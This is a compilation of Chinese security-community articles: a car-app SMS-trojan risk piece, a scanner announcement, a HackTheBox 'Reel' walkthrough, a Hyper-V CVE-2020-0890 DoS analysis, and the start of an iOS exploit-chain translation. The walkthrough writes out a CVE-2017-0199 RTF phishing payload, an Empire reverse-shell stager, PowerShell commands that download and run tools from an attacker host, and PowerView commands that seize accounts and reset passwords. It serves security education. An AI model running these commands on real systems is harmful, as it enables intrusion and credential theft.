声控系统的开发者通过白名单来保障安全，只有在白名单上的电话号码才具有控制汽车的权利。但是，如果车主的手机被入侵了呢？入侵者就可以调用报警系统、禁用扬声器和屏幕，这样就可以无声无息的完全控制汽车。当然，入侵也不会这么容易，许多汽车爱好者将报警系统号码保存在一个虚构的名字下。在这种情况下，只有车主频繁地呼叫车辆，入侵者才能在偷来的呼出历史记录中找到报警系统号码。
汽车报警系统SMS消息控制方法的开发者肯定没有阅读过我们关于Android设备安全的文章。卡巴斯基实验室面临的第一个也是最常见的移动木马就是SMS木马，或者是含有用于秘密发送短信的代码的恶意软件，通过常见的木马操作以及由木马发出的远程命令实现。因此，恶意软件的开发者通过以下三个步骤就可以解锁受害者的车门：
1\. 浏览智能手机上所有的SMS消息，从中找出汽车命令。
2\. 找到所需的SMS消息后，从中提取电话号码和密码以获得访问权限。
3\. 向找到的电话号码发送SMS消息，解锁车门。
一个木马便能够无声无息的完成这三步操作，唯一需要做的事情就是感染智能手机。
**结论**
汽车是昂贵的，值得我们像保护银行账户一样去保护汽车的安全。汽车制造商和APP开发者的态度是明确的，他们致力于快速的填补市场APP空白，为车主提供改变生活质量的新功能APP。但是，当考虑车控APP的安全性时，其基础设施安全（控制服务器）及其交互和基础设施通道并不是唯一值得考虑的事情。客户端安全也值得注意，特别是安装在用户设备上的APP。现在APP很容易便能被用来打击车主，客户端很可能是最薄弱的环节，最有可能成为攻击者的目标。
目前为止，我们没有检测到车控APP攻击，在我们的成千上万个检测恶意软件的实例中也没有发现用于下载车控APP的配置文件的代码。然而，现代的木马是非常灵活多变的，如果某个木马今天持续显示不能被用户自己移除的广告，那么明天它就可以将配置文件从车控APP上传到犯罪者命令和控制的服务器。木马还可以删除配置文件，并用修改过的配置文件覆盖它。一旦所有这些在经济上都变得可行，最常见的移动木马也会增加新的功能。 | 社区文章 |
巡风
巡风是一款适用于企业内网的漏洞快速应急、巡航扫描系统，通过搜索功能可清晰的了解内部网络资产分布情况，并且可指定漏洞插件对搜索结果进行快速漏洞检测并输出结果报表。
其主体分为两部分：网络资产识别引擎，漏洞检测引擎。
网络资产识别引擎会通过用户配置的IP范围定期自动的进行端口探测（支持调用MASSCAN），并进行指纹识别，识别内容包括：服务类型、组件容器、脚本语言、CMS。
漏洞检测引擎会根据用户指定的任务规则进行定期或者一次性的漏洞检测，其支持2种插件类型、标示符与脚本，均可通过web控制台进行添加。
Github地址：<https://github.com/ysrc/xunfeng>
演示视频：<http://v.youku.com/v_show/id_XMTg2NTcyNjE2NA==.html>
有什么BUG或者建议欢迎提出 | 社区文章 |
# Reel
靶机地址：
<https://www.hackthebox.eu/home/machines/profile/143>
nmap -v -A -sV -sC 10.10.10.77
这是一台server2012 R2，有ssh、ftp、smtp服务，Active Directory域服务。
扫描出来的信息里面，可以看到ftp匿名登陆。
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_05-28-18 11:19PM <DIR> documents
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH 7.6 (protocol 2.0)
| ssh-hostkey:
| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)
| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)
|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)
25/tcp open smtp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Kerberos, LDAPBindReq, LDAPSearchReq, LPDString, NULL, RPCCheck, SMBProgNeg, SSLSessionReq, TLSSessionReq, X11Probe:
| 220 Mail Service ready
| FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, RTSPRequest:
| 220 Mail Service ready
| sequence of commands
| sequence of commands
| Hello:
| 220 Mail Service ready
| EHLO Invalid domain address.
| Help:
| 220 Mail Service ready
| DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
| SIPOptions:
| 220 Mail Service ready
| sequence of commands
|_ sequence of commands
| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49159/tcp open msrpc Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?
Host script results:
|_clock-skew: mean: -47s, deviation: 2s, median: -49s
| smb-os-discovery:
| OS: Windows Server 2012 R2 Standard 9600 (Windows Server 2012 R2 Standard 6.3)
| OS CPE: cpe:/o:microsoft:windows_server_2012::- | Computer name: REEL
| NetBIOS computer name: REEL\x00
| Domain name: HTB.LOCAL
| Forest name: HTB.LOCAL
| FQDN: REEL.HTB.LOCAL
|_ System time: 2019-01-21T03:35:22+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2019-01-21 11:35:20
|_ start_date: 2019-01-21 07:54:45
使用ftp匿名登陆，然后mget *下载里面的内容，一共三个文件AppLocker.docx、readme.txt、Forwarding.docx
$ ftp
ftp> open
(to) 10.10.10.77
Connected to 10.10.10.77.
220 Microsoft FTP Service
Name (10.10.10.77:Rogerd): Anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
05-28-18 11:19PM <DIR> documents
ftp> cd documents
250 CWD command successful.
ftp> mget *
mget AppLocker.docx?
200 PORT command successful.
cat readme.txt
让我们构造一个rtf的邮件。
那我们还要找到一个邮件地址。
please email me any rtf format procedures - I'll review and convert.
new format / converted documents will be saved here.%
查看其他两个word文档，其中一个无法直接打开，我们查看一些相关信息。
可以看到一个邮箱
exiftool Windows\ Event\ Forwarding.docx
ExifTool Version Number : 11.16
File Name : Windows Event Forwarding.docx
Directory : .
File Size : 14 kB
File Modification Date/Time : 2019:01:21 12:01:36+08:00
File Access Date/Time : 2019:01:21 13:00:24+08:00
File Inode Change Date/Time : 2019:01:21 12:01:36+08:00
File Permissions : rw-r--r-- File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x82872409
Zip Compressed Size : 385
Zip Uncompressed Size : 1422
Zip File Name : [Content_Types].xml
Creator : [email protected]
打开AppLocker.docx
已启用，哈希规则对可执行文件，MSI和脚本（.ps1，.vbs，.cmd，.bat）有效
AppLocker procedure to be documented - hash rules for exe, msi and scripts (ps1,vbs,cmd,bat,js) are in effect.
我们 尝试发送给[email protected] ,并监听一个端口看是否有返回信息。
我们使用Exploit toolkit CVE-2017-0199 Microsoft Office RCE。它可以生成恶意RTF / PPSX文件
<https://github.com/bhdresh/CVE-2017-0199>
使用python监听
> python -m SimpleHTTPServer 8000
使用python脚本CVE-2017-0199生成RTF，发送到指定邮箱
> python cve-2017-0199_toolkit.py -M gen -t RTF -w TEST.RTF -u
> <http://10.10.14.19:8000/reel.hta>
使用sendEmail发送邮件
> sendEmail -f [email protected] -t [email protected] -u RTF -m 'open file!'
> -a TEST.RTF -s 10.10.10.77
可以看到成功访问到8000端口
Empire是一个用于管理powershell会话的工具
我们使用Empire生成hta，然后通过发送到指定邮箱，使用python运行服务，把hta放在tmp文件下，接收方执行TEST.RTF就会远程访问我们提前生成好放在tmp文件夹下的hta文件。
(Empire) > listeners
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://10.10.10.14.19
(Empire: listeners/http) > execute
[*] Starting listener 'http'
* Serving Flask app "http" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
[+] Listener successfully started!
(Empire: listeners/http) > back
(Empire: listeners) > usestager windows/hta
(Empire: stager/windows/hta) > set Listener http
(Empire: stager/windows/hta) > set OutFile /home/Rogerd/tools/CVE-2017-0199/reel.hta
(Empire: stager/windows/hta) > generate
[*] Stager output written out to: /home/Rogerd/tools/CVE-2017-0199/reel.hta
我们把reel.hta移动到tmp目录
然后启动python -m SimpleHTTPServer 8000
在使用sendEmail -f [email protected] -t [email protected] -u RTF -m 'open
file!' -a TEST.RTF -s 10.10.10.77
我们已经拿到回弹回来的shell了
通过查看桌面发现几个文件，user.txt是第一个flag
(Empire: stager/windows/hta) > agents
[*] Active agents:
Name La Internal IP Machine Name Username Process PID Delay Last Seen
---- -- ----------- ------------ -------- ------- --- ----- --------- G25L3MWT ps 10.10.10.77 REEL HTB\nico powershell 2468 5/0.0 2019-01-23 11:49:22
(Empire: agents) > interact G25L3MWT
查看cred.xml文件,这是一个powershell 远程管理的密码凭据
(Empire: G25L3MWT) > shell Get-Content cred.xml
[*] Tasked G25L3MWT to run TASK_SHELL
[*] Agent G25L3MWT tasked with task ID 19
(Empire: G25L3MWT) > [*] Agent G25L3MWT returned results.
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
<Obj RefId="0">
<TN RefId="0">
<T>System.Management.Automation.PSCredential</T>
<T>System.Object</T>
</TN>
<ToString>System.Management.Automation.PSCredential</ToString>
<Props>
<S N="UserName">HTB\Tom</S>
<SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be5870730000000002000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a00000001000000065d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
</Props>
</Obj>
</Objs>
..Command execution completed.
通过这个cred.xml文件，我们查看tom的账户信息。
我们可以使用allchecks ， 列举一些信息。我们可以看到nico的ssh服务的账号密码
(Empire: 7H9GMEV2) > usemodule privesc/powerup/allchecks
(Empire: powershell/privesc/powerup/allchecks) > run
[*] Tasked 7H9GMEV2 to run TASK_CMD_JOB
[*] Agent 7H9GMEV2 tasked with task ID 26
[*] Tasked agent 7H9GMEV2 to run module powershell/privesc/powerup/allchecks
(Empire: powershell/privesc/powerup/allchecks) > [*] Agent 7H9GMEV2 returned results.
Job started: 64FXBN
[*] Valid results returned by 10.10.10.77
[*] Running Invoke-AllChecks
[*] Checking if user is in a local group with administrative privileges...
[*] Checking for unquoted service paths...
ServiceName : ssh-agent
Path : C:\Program Files\OpenSSH\ssh-agent.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'ssh-agent' -Path <HijackPath>
CanRestart : False
ServiceName : ssh-agent
Path : C:\Program Files\OpenSSH\ssh-agent.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : LocalSystem
AbuseFunction : Write-ServiceBinary -Name 'ssh-agent' -Path <HijackPath>
CanRestart : False
ServiceName : sshd
Path : C:\Program Files\OpenSSH\sshd.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=AppendData/AddSubdirectory}
StartName : NT SERVICE\SSHD
AbuseFunction : Write-ServiceBinary -Name 'sshd' -Path <HijackPath>
CanRestart : False
ServiceName : sshd
Path : C:\Program Files\OpenSSH\sshd.exe
ModifiablePath : @{ModifiablePath=C:\; IdentityReference=BUILTIN\Users; Permissions=WriteData/AddFile}
StartName : NT SERVICE\SSHD
AbuseFunction : Write-ServiceBinary -Name 'sshd' -Path <HijackPath>
CanRestart : False
DefaultDomainName : HTB
DefaultUserName : nico
DefaultPassword : 4dri@na2017!**
AltDefaultDomainName :
AltDefaultUserName :
AltDefaultPassword :
[*] Checking for modifidable registry autoruns and configs...
[*] Checking for modifiable schtask files/configs...
[*] Checking for unattended install files...
UnattendPath : C:\Windows\Panther\Unattend.xml
我们通过ssh访问tom
ssh [email protected]
1ts-mag1c!!!
在tom->Desktop->AD Audit->note.txt
大概的内容是提示我们找一个最短的攻击路径。
Findings:
Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).
Maybe we should re-run Cypher query against other groups we've created.
我们在tom->Desktop->AD Audit->BloodHound，我们查了一下资料了解到：
BloodHound使用图论来揭示Active
Directory环境中隐藏的和通常无意的关系。攻击可以使用BloodHound轻松识别高度复杂的攻击路径，否则无法快速识别。防御者可以使用BloodHound来识别和消除那些相同的攻击路径。蓝队和红队都可以使用BloodHound轻松深入了解Active
Directory环境中的权限关系。
安装BloodHound:
<https://stealingthe.network/quick-guide-to-installing-bloodhound-in-kali-rolling/>
我们通过登陆tom
SharpHound.ps1替换这个文件（在这之前我们要把下载好的BloodHound->Ingestors->SharpHound.ps1放入8000web目录下。）
powershell "IEX (New-Object
Net.Webclient).DownloadFile('<http://10.10.14.19:8000/SharpHound.ps1','SharpHound.ps1>')"
我们使用SharpHound.ps1生成一个报告并且下载下来
powershell -exec bypass
Import-Module ./SharpHound.ps1
invoke-bloodhound all
我们把生成好的报告下载下来，然后拖入BloodHound
scp -P 22 [email protected]:"\"/C:/Users/tom/Desktop/AD
Audit/BloodHound/Ingestors/20190124161418_BloodHound.zip\"" /tmp/
我们可以看到一共有18个用户，61个组
可以查看不同用户组的信息，我们查看backup_admin
我们通过搜索[email protected]
设置set as starting Node 为tom
设置set as ending node 为backup_admin
可以看到，我们可以通过CLAIRE去访问backup_admin,然后tom拥有CLAIRE
我们可以右键WriteOwner打开hepl->info查看详细的信息
tom可以修改claire所有者、claire拥有backup_admin的写权限。
The user [email protected] has the ability to modify the owner of the user [email protected]. Object owners retain the ability to modify object security descriptors, regardless of permissions on the object's DACL.
我们可以先拿到claire再去拿backup_admin
这里提供了一个思路，通过PowerView更改所有权
我们可以参考powerview里面的文档进行配置
Set-DomainObjectOwner可以设置对象所有者的配置
Add-DomainObjectAcl可以写入DACL的配置
Set-DomainUserPassword可以使用重置用户密码的功能
1、选择Tom为Claire对象的所有者
2、允许Tom重置Claire密码。
3、修改密码
powershell -command "import-module .\PowerView.ps1; Set-DomainObjectOwner -Identity claire -OwnerIdentity Tom -Verbose; Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity Tom -Rights ResetPassword -Verbose; $pass=ConvertTo-SecureString "AbC!@#123" -AsPlainText -Force; Set-DomainUserPassword -Identity claire -AccountPassword $pass -Verbose"
我们参考攻击路径，把Claire放入Backup_admin组。
目录下没有powerview.ps1 ,我们从kali下载下来
powershell "IEX (New-Object Net.Webclient).DownloadFile('http://10.10.14.19:8000/PowerView.ps1','PowerView.ps1')"
powershell -command "import-module .\PowerView.ps1; Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity claire -Rights All -Verbose; Add-DomainGroupMember -Identity 'Backup_Admins' -Members 'claire' -Verbose"
这时候我们可以访问Administrator->Backup_Script文件夹了。
但是还是不能查看root.txt
这时候我们看到Backup_Script目录下有几个脚本，其中Backup_Script.ps1是一个备份脚本，可以拿到关键信息。
参考：
<https://www.anquanke.com/post/id/85695>
<https://www.knowsec.net/archives/238/>
<https://www.harmj0y.net/blog/powershell/make-powerview-great-again/>
<https://github.com/ama21n/powershell/blob/master/PowerView.ps1> | 社区文章 |
# Hyper-V DoS 漏洞分析（CVE-2020-0890 ）
|
##### 译文声明
本文是翻译文章，文章原作者 hvinternals，文章来源：hvinternals.blogspot.com
原文地址：<https://hvinternals.blogspot.com/2020/09/hyper-v-nested-virtualization-dos.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 简介
启用嵌套虚拟化选项的Guest操作系统会触发漏洞。已在Windows Server 2019 2020年8月更新，Windows 10 20H1
2020年8月更新和Windows 10 21H1 预览版上进行测试。Windows Server
2019的原始版本中也存在漏洞，没有补丁（2018年11月）。
Github上的PoC来源：<https://github.com/gerhart01/hyperv_local_dos_poc>
## 漏洞分析
在Windows Server 2016和Windows 10(2016年)中引入了Hyper-V嵌套虚拟化技术:<https://docs.microsoft.com/en-us/virtualization/hyper-v-on->
windows/userguide/nested -virtualization。它可用于在Guest操作系统（或某些功能，例如Windows
Sandbox，Hyper-V VM内的MDAG）中启动管理程序。
从技术上讲，Hyper-V编码器的漏洞非常简单：它们没有过滤VP Assist Page的参数，该地址被写入Virtual VP Assist
MSR（0x40000073）。早期msr寄存器0x40000073的名称为HV_X64_MSR_APIC_ASSIST_PAGE，现在(在TLFS
6.0中)为HV_X64_MSR_VP_ASSIST_PAGE。
HV_X64_MSR_VP_ASSIST_PAGE MSR 结构：
typedef union _VIRTUAL_VP_ASSIST_PAGE_PFN
{
UINT64 AsUINT64;
struct
{
UINT64 Enable : 1;
UINT64 Reserved : 11;
UINT64 PFN : 52;
};
} VIRTUAL_VP_ASSIST_PAGE_PFN, * PVIRTUAL_VP_ASSIST_PAGE_PFN;
根据Hyper-V TLFS 6.0 VP Assist Page是重叠页。该页面的GPA地址被写入PFN字段：
typedef union _HV_VP_ASSIST_PAGE
{
struct
{
//
// APIC assist for optimized EOI processing.
//
HV_VIRTUAL_APIC_ASSIST ApicAssist;
UINT32 ReservedZ0;
//
// VP-VTL control information
//
HV_VP_VTL_CONTROL VtlControl;
HV_NESTED_ENLIGHTENMENTS_CONTROL NestedEnlightenmentsControl;
BOOLEAN EnlightenVmEntry;
UINT8 ReservedZ1[7];
HV_GPA CurrentNestedVmcs;
BOOLEAN SyntheticTimeUnhaltedTimerExpired;
UINT8 ReservedZ2[7];
//
// VirtualizationFaultInformation must be 16 byte aligned.
//
HV_VIRTUALIZATION_FAULT_INFORMATION VirtualizationFaultInformation;
};
UINT8 ReservedZBytePadding[HV_PAGE_SIZE];
} HV_VP_ASSIST_PAGE, * PHV_VP_ASSIST_PAGE;
如果将zeroed page的PFN写入HV_X64_MSR_VP_ASSIST_PAGE msr，则会得到BSOD。
即使禁用了自动重启选项，Windows 10也会立即重启。如果将调试器连接到hvix64.exe (Windows Server 2019, 08.2020
updates，hvix64.exe，build10.0.17763.1397)，则会得到：
hv+0x28af50:
fffff982`efc8af50 cc int 3
1: kd> g
Access violation - code c0000005 (!!! second chance !!!)
hv+0x27747e:
fffff982`efc7747e 384249 cmp byte ptr [rdx+49h],al
2: kd> k
# Child-SP RetAddr Call Site
00 00000100`00803d08 fffff982`efc75e1b hv+0x27747e
01 00000100`00803d10 fffff982`efcfd74f hv+0x275e1b
02 00000100`00803d60 fffff982`efc82729 hv+0x2fd74f
03 00000100`00803d90 fffff982`efc1691f hv+0x282729
04 00000100`00803df0 fffff982`efc1816b hv+0x21691f
05 00000100`00803e80 fffff982`efc8c571 hv+0x21816b
06 00000100`00803fc0 00000000`00000000 hv+0x28c571
2: kd> r
rax=ffffe802c560d000 rbx=ffffe802c5607050 rcx=ffffe802c5608d00
rdx=0000000000000000 rsi=0000000000000000 rdi=ffffe802c5608000
rip=fffff982efc7747e rsp=0000010000803d08 rbp=0000000000000014
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=0000000000000014 r12=0000000000000000 r13=ffffe802c56078d0
r14=ffffe802c5608d00 r15=ffffe802c5607630
iopl=0 nv up di pl zr na po nc
cs=0010 ss=0020 ds=0020 es=0020 fs=0020 gs=0020 efl=00010046
hv+0x27747e:
fffff982`efc7747e 384249 cmp byte ptr [rdx+49h],al ds:0020:00000000`00000049=??
Windows Server 2019生成crash dunp：
Exploit源码仅适用于Intel CPU（技术上，exploit必须工作在AMD平台上，但没有这样CPU的PC），简述：
* 1.在guest操作系统中激活VMX功能(在操作系统中必须执行以下命令支持:Set-VMProcessor -VMName -ExposeVirtualizationExtensions $true);
* 2.分配和激活VMXON区域;
* 3.分配VP Assist Page;
* 4.获取VP Assist Page物理地址，写入HV_X64_MSR_VP_ASSIST_PAGE msr;
* 5.执行vmclear，然后vmlaunch，并获取BSOD。
当执行 `cmp byte ptr
[rdx+49h],al`指令时，rdx包含0，我们得到的访问指针为零。它是简单的NULL指针解引用，但rdx不受来宾OS地址空间的控制。
hvix64.exe没有符号，因此过程具有与BSOD相关的名称，其level调用索引，最接近的level为1。该代码块已准备好在hypervisor上下文中执行vmlaunch
指令所需的所有代码。
这个block什么时候执行?调用者block L2并不是很感兴趣。
但是下一个调用者level很重要。
r8b 是如何控制的？
当VP Assist Page归零时：
WINDBG>dps poi(@rsi+198)+40
ffffe802`c5608040 ffffe802`c561c000 – address of overlay VP Assist Page. Don’t changed after host OS reboot.
ffffe802`c5608048 00000000`000f000f
ffffe802`c5608050 00000000`00000000
ffffe802`c5608058 00000000`00000000
ffffe802`c5608060 00000000`00000000
WINDBG>dps ffffe802`c561c000
ffffe802`c561c000 00000000`00000000
ffffe802`c561c008 00000000`00000000
ffffe802`c561c010 00000000`00000000
ffffe802`c561c018 00000000`00000000
ffffe802`c561c020 00000000`00000000
ffffe802`c561c028 00000000`00000000 – rcx+28h
ffffe802`c561c030 00000000`00000000
如果rcx + 28！= 0，则r8b = 1。
我们可以在来宾操作系统中逐步调试PoC驱动程序，并查看变量的物理和虚拟地址，这些地址被传递到hypervisor:
WINDBG> dps ffffe802`c561c000
ffffe802`c561c000 00000000`00000000
ffffe802`c561c008 00000000`00000000
ffffe802`c561c010 00000000`00000000
ffffe802`c561c018 00000000`00000000
ffffe802`c561c020 00000000`00000000
ffffe802`c561c028 00000000`00000001 - pHvVpPage-> EnlightenVmEntry
ffffe802`c561c030 00000000`7ff23000 -pHvVpPage-> CurrentNestedVmcs
ffffe802`c561c038 00000000`00000000
ffffe802`c561c040 00000000`00000000
ffffe802`c561c048 00000000`00000000
ffffe802`c561c050 00000000`00000000
ffffe802`c561c058 00000000`00000000
下一步操作非常简单，pHvVpPage-> enlightenment vmentry ==
0，我们得到BSOD。当执行vmlaunch时，Hypervisor根本不验证VP-Assist Page的内容。
### 重叠页面初始化问题
BSOD不是一个问题。第二个问题，即使VP Assist Page在写入HV_X64_MSR_VP_ASSIST_PAGE
msr之前也填充了实际值，因此参数不会传递给hypervisor。为什么它发生了什么?这是hypervisor重叠page的特性(或bug)。
根据Hyper-V TLFS 6.0的5.2.1小节：
hypervisor定义了几个特殊页面，这些页面“重叠”了guest的GPA空间。hypercall代码页是重叠page(页面)的一个示例。重叠由guest物理地址进行寻址，但不包括在hypervisor内部维护的普通GPA映射中。从概念上讲，它们存在于一个单独的map中，该map覆盖了GPA的map。
如果GPA空间内的一个page(页面)被覆盖，映射到GPA page页面的任何SPA
页面都会被有效地“obscured(掩盖)”，并且通常虚拟处理器无法通过处理器内存来访问它们。此外，访问重叠页面时，将不遵守在底层GPA页面上安装的访问权限。
我们来做实验，在将缓冲区地址写入HV_X64_MSR_VP_ASSIST_PAGE msr之前，需要对其进行分配，用数字0x11填充缓冲区。
FillBuffer((PCHAR)pHvVpPage, PAGE_SIZE, 0x11);
__writemsr(HV_X64_MSR_APIC_ASSIST_PAGE, guestPFN.AsUINT64);
并在LiveCloudKd中查看它的内容,我们从WinDBG知道物理和虚拟地址，在源代码调试模式下启动:
附加到guest操作系统内核调试器:
同时将LiveCloudKd连接到相同的VM。首先，我们可以看到enlightenment结构。CurrentNestedVmcs和EnlightenVmEntry中的某些值：
并在VP Assist Page中看到相同的值：
写入HV_X64_MSR_VP_ASSIST_PAGE
msr之后，我们可以看到hypervisor内部有一些历史垃圾(重叠页的地址是不变的，正如我们前面看到的那样，驱动程序重新启动，guest操作系统没有重新启动)。
WINDBG>dps ffffe802`c561c000 – inside hypervisor
ffffe802`c561c000 00000000`00000000
ffffe802`c561c008 00000000`00000000
ffffe802`c561c010 00000000`00000000
ffffe802`c561c018 00000000`00000000
ffffe802`c561c020 00000000`00000000
ffffe802`c561c028 00000000`00000001
ffffe802`c561c030 00000000`7ff23000
ffffe802`c561c038 00000000`00000000
ffffe802`c561c040 00000000`00000000
ffffe802`c561c048 00000000`00000000
ffffe802`c561c050 00000000`00000000
ffffe802`c561c058 00000000`00000000
返回到guest操作系统调试器。重叠页的0x11值被替换为上次HV_X64_MSR_VP_ASSIST_PAGE msr写入的值:
如果我们想写一些东西在重叠页后，
如果我们想在其地址写入HV_X64_MSR_VP_ASSIST_PAGE msr 之后,在重叠页面中写入某些内容，则所有内容都是正确的。
LiveCloudKd显示旧值，因为它会解析guest内存中的原始值，guest内存是使用MDL和hostPFN-to-GuestPFN页面映射在主机系统中进行映射的。当guest操作系统尝试从其分区读取/写入内存时，重叠页存储在hypervisor中，并被完全替换。有趣的是，guest页面中的page属性未更改。
我检查了一下：hypervisor中的重叠页ffffe802`c561c00不断地改变CR3，但它的物理地址没有改变。可能还需要进一步的分析（但这不是与bug相关的研究）。
## 总结
发现了2个Bug:
* 在vmlaunch 模拟期间对VP Assist Page值的处理不正确，会导致空指针引用错误和下一个BSOD。
* 重叠page初始化的处理不正确,它只需切换到另一个内存缓冲区，即使没有清除保存在hypervisor中的旧值，或者从guest页面复制值，该地址在HV_X64_MSR_VP_ASSIST_page MSR中。 | 社区文章 |
# 深入探索在野外发现的iOS漏洞利用链（二）
##### 译文声明
本文是翻译文章，文章原作者 googleprojectzero，文章来源：googleprojectzero.blogspot.com
原文地址：<https://googleprojectzero.blogspot.com/2019/08/in-wild-ios-exploit-chain-2.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
本文所描述的漏洞利用，是我自2016年底以来一直在审计的一个已知漏洞类。导致该漏洞的原因将会在第3条漏洞利用链中再次看到，第三篇文章将在随后发布。
该漏洞利用链针对iOS 10.3 – 10.3.3有效。我独立发现了这一漏洞并将其报告给Apple，该漏洞在iOS 11.2中实现了修复。
这也同时表明，Project Zero研究的漏洞确实与在野外被利用的漏洞相重合。
## iOS漏洞利用链#2：IOSurface
我们首先对最早发现的漏洞利用链进行分析，这是以iOS 10.0.1-10.1.1为目标的漏洞，可能自2016年9月以来就已经出现。
攻击目标：iPhone 5s到iPhone 7，运行iOS版本10.3 – 10.3.3（在11.2版本中被修复）
支持版本包括：
iPhone6,1 (5s, N51AP)
iPhone6,2 (5s, N53AP)
iPhone7,1 (6 plus, N56AP)
iPhone7,2 (6, N61AP)
iPhone8,1 (6s, N71AP)
iPhone8,2 (6s plus, N66AP)
iPhone8,4 (SE, N69AP)
iPhone9,1 (7, D10AP)
iPhone9,2 (7 plus, D11AP)
iPhone9,3 (7, D101AP)
iPhone9,4 (7 plus, D111AP)
支持版本包括：
14E277 (10.3 – 2017年3月27日)
14E304 (10.3.1 – 2017年4月3日)
14F89 (10.3.2 – 2017年5月15日)
14G60 (10.3.3 – 2017年7月19日) <iOS 10的最新版本>
第一个不存在漏洞的版本：11.0 – 2017年9月19日
该漏洞在iOS 11.2版本中才实现修复，但漏洞利用仅支持10.3-10.3.3（iOS 10的最新版本）。针对iOS
11，攻击者转移到了新的漏洞利用链上。
## 内核漏洞
在这里，使用的内核漏洞是CVE-2017-13861，与Project
Zero发现的漏洞#1417（async_wake）相同。我独立发现了这个漏洞，并在2017年10月30日向Apple报告。攻击者似乎在我发现之前就停止利用该漏洞，最早不受支持的版本是iOS
11，在2017年9月19日发布。该漏洞直到iOS 11.2（2017年12月2日发布）才得到修复。
iOS 11的发布破坏了该漏洞利用中的一种利用技术，具体来说，在iOS
11中删除了mach_zone_force_gc()内核MIG方法。目前还不清楚攻击者为什么要针对iOS
11系统使用一个全新的漏洞利用链（在删除方法后使用强制GC的新技巧），而没有更新这条利用链。
## 漏洞分析
我们在第一个利用链中看到可以通过IOConnectCallMethod函数调用IOKit外部方法。我们可以调用另一个函数：IOConnectCallAsyncMethod，它需要一个额外的mach端口和引用参数：
kern_return_t
IOConnectCallMethod(mach_port_t connection,
uint32_t selector,
const uint64_t* input,
uint32_t inputCnt,
const void* inputStruct,
size_t inputStructCnt,
uint64_t* output,
uint32_t* outputCnt,
void* outputStruct,
size_t* outputStructCnt);
对比下面的：
kern_return_t
IOConnectCallAsyncMethod(mach_port_t connection,
uint32_t selector,
mach_port_t wake_port,
uint64_t* reference,
uint32_t referenceCnt,
const uint64_t* input,
uint32_t inputCnt,
const void* inputStruct,
size_t inputStructCnt,
uint64_t* output,
uint32_t* outputCnt,
void* outputStruct,
size_t* outputStructCnt);
目的是允许驱动程序在操作完成时向所提供的mach端口发送通知消息，因此名称是“Async”(hronous)。
由于IOConnectCallAsyncMethod是一个MIG方法，因此wake_port参数的生命周期将受到MIG的mach端口生命周期规则的约束。
MIG接受wake_port的引用，并调用MIG方法的时效内，然后将调用IOKit驱动程序的匹配外部方法实现。外部方法的返回值将传递到MIG级别，其中适用以下规则：
如果返回码非0，表示错误，MIG将丢弃它在wake_port上的引用。如果返回码为0，表示成功，则MIG不会丢弃它对wake_port所做的引用，这意味着引用被转移到外部方法。
漏洞在于，IOSurfaceRootUserClient外部方法17（s_set_surface_notify）将丢弃wake_port上的引用，如果客户端先前已注册具有相同引用值的端口，就会返回错误代码。当只有一个引用时，MIG会看到错误代码并在wake_port上丢弃第二个引用。这将导致引用计数与指向端口的指针数不同步，从而导致Use-After-Free。
同样，由于沙箱配置文件中的这一行，可以从MobileSafari渲染器沙箱内部直接访问它：
(allow iokit-open
(iokit-user-client-class "IOSurfaceRootUserClient")
## 设置
